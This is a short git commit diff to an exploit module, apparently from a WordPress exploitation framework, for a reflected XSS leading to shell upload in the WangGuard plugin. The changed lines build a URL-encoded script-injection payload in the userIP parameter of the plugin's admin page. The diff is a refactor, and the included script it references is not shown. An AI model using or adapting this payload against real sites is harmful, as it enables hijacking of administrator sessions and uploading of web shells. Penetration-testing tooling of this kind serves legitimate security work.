Move query string into url_with_xss function

phyushin · phyushin · commit f9292b97390c · 2017-01-21T01:00:22.000Z
diff --git a/modules/exploits/wang_guard_reflected_xss_shell_upload.rb b/modules/exploits/wang_guard_reflected_xss_shell_upload.rb
@@ -22,10 +22,10 @@ def check
   end
 
   def vulnerable_url
-    normalize_uri(wordpress_url_admin, 'admin.php?page=wangguard_users_info&userIP=')
+    normalize_uri(wordpress_url_admin, 'admin.php')
   end
 
   def url_with_xss
-    "#{vulnerable_url}%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E%3C"
+    "#{vulnerable_url}?page=wangguard_users_info&userIP=%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E%3C"
   end
 end
